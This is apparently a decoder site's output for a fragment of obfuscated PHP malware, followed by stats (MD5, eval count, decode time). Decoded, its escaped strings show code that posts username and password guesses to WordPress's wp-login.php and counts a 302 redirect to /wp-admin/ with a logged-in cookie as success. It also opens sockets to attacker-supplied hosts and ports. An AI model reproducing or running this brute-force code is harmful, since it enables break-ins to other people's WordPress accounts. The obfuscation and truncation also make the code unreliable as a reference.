QnGZV($euuhx, $pmvLU); goto Pn1Rn; Pn1Rn: if (stripos($h_igg, "\123\145\164\x2d\x43\157\x6f\153\x69\145\72\x20\167\x6f\x72\144\160\x72\x65\x73\x73\x5f\154\157\x67\x67\x65\x64\137\151\156\137") && (stripos($h_igg, "\110\x54\x54\120\x2f\61\56\x31\x20\x33\60\62") === 0 || stripos($h_igg, "\110\124\124\120\x2f\61\56\60\40\x33\60\62") === 0) && preg_match("\x7e\114\157\143\x61\x74\151\157\x6e\x3a\56\52\x2f\x77\160\55\x61\144\x6d\151\x6e\57\x7e", $h_igg)) { goto B2Stv; } goto p_6hK; KSeak: return true; goto bkOkz; p_6hK: return false; goto axzJo; brXnO: B2Stv: goto KSeak; j0KuI: $pmvLU = "\154\x6f\x67\75" . urlencode($mJdRt) . "\46\160\x77\x64\75" . urlencode($NrzD7) . "\x26\167\160\x2d\x73\165\x62\x6d\x69\164\x3d\46\162\x65\144\151\x72\x65\143\x74\137\x74\x6f\75" . urlencode($w7l2Z) . "\x26\x74\145\x73\164\x63\157\157\x6b\151\145\75\61"; goto M6RQP; bkOkz: Auy15: goto AAi7r; uTr_8: $w7l2Z = str_replace("\57\x77\160\55\154\x6f\147\x69\x6e\x2e\x70\x68\160", "\57\x77\x70\x2d\x61\x64\155\x69\156\57", $euuhx); goto j0KuI; axzJo: goto Auy15; goto brXnO; AAi7r: } goto aPFE1; oyXRN: if (!$Xxr2S) { goto hIs3W; } goto O4aqP; E9IVK: if (!empty($NrzD7)) { goto RtJx_; } goto EpRgf; f0hwR: die; goto A5bVb; saAHK: $Xxr2S = @fsockopen($_POST["\x73"], $_POST["\160"], $LFWhv, $bFGxv, 5); goto oyXRN; cm4SB: $jO_1U = $_POST["\x75\x72\x6c"]; goto wInnC; D11cR: function QNGzV($euuhx, $pmvLU) { goto n4336; G_Vds: $ffp7S = parse_url($euuhx); goto v2537; IhfO3: goto IqFNb; goto K8MyB; Kk1_V: v5jiz: goto a1wkH; rhOXV: if ((CcKkf === 0 || CcKkf === 3) && @function_exists("\x59\156\144\170\66")) { goto RbcWN; } goto oqlw3; P8zvy: return HXhLC($euuhx, $pmvLU); goto SmN0m; K8MyB: RbcWN: goto pI7yV; n4336: if ((CcKkf === 0 || CcKkf === 1) && ini_get("\x61\154\154\157\x77\x5f\x75\162\154\x5f\x66\x6f\160\x65\x6e") == 1) { goto Or9F8; } goto G_Vds; u3t1U: Or9F8: goto P8zvy; PlFj1: goto Ra3Uj; goto u3t1U; v2537: if ((CcKkf === 0 || CcKkf === 2) && ($V1KfT = @fsockopen($ffp7S["\150\157\163\x74"], 80, $LFWhv, $bFGxv, 15))) { goto v5jiz; } goto rhOXV; pI7yV: return oLwc5($euuhx, $pmvLU); goto Sux94; a1wkH: return Ji6pd($pmvLU, $V1KfT, $ffp7S["\150\157\163\164"], $ffp7S["\x70\x61\x74\150"]); goto IhfO3; Sux94: IqFNb: goto PlFj1; SmN0m: Ra3Uj: goto eo65j; oqlw3: goto IqFNb; goto Kk1_V; eo65j: }
Function Calls
None |
Stats
MD5 | acc23bde114d40efb06378ce60bbd587 |
Eval Count | 0 |
Decode Time | 129 ms |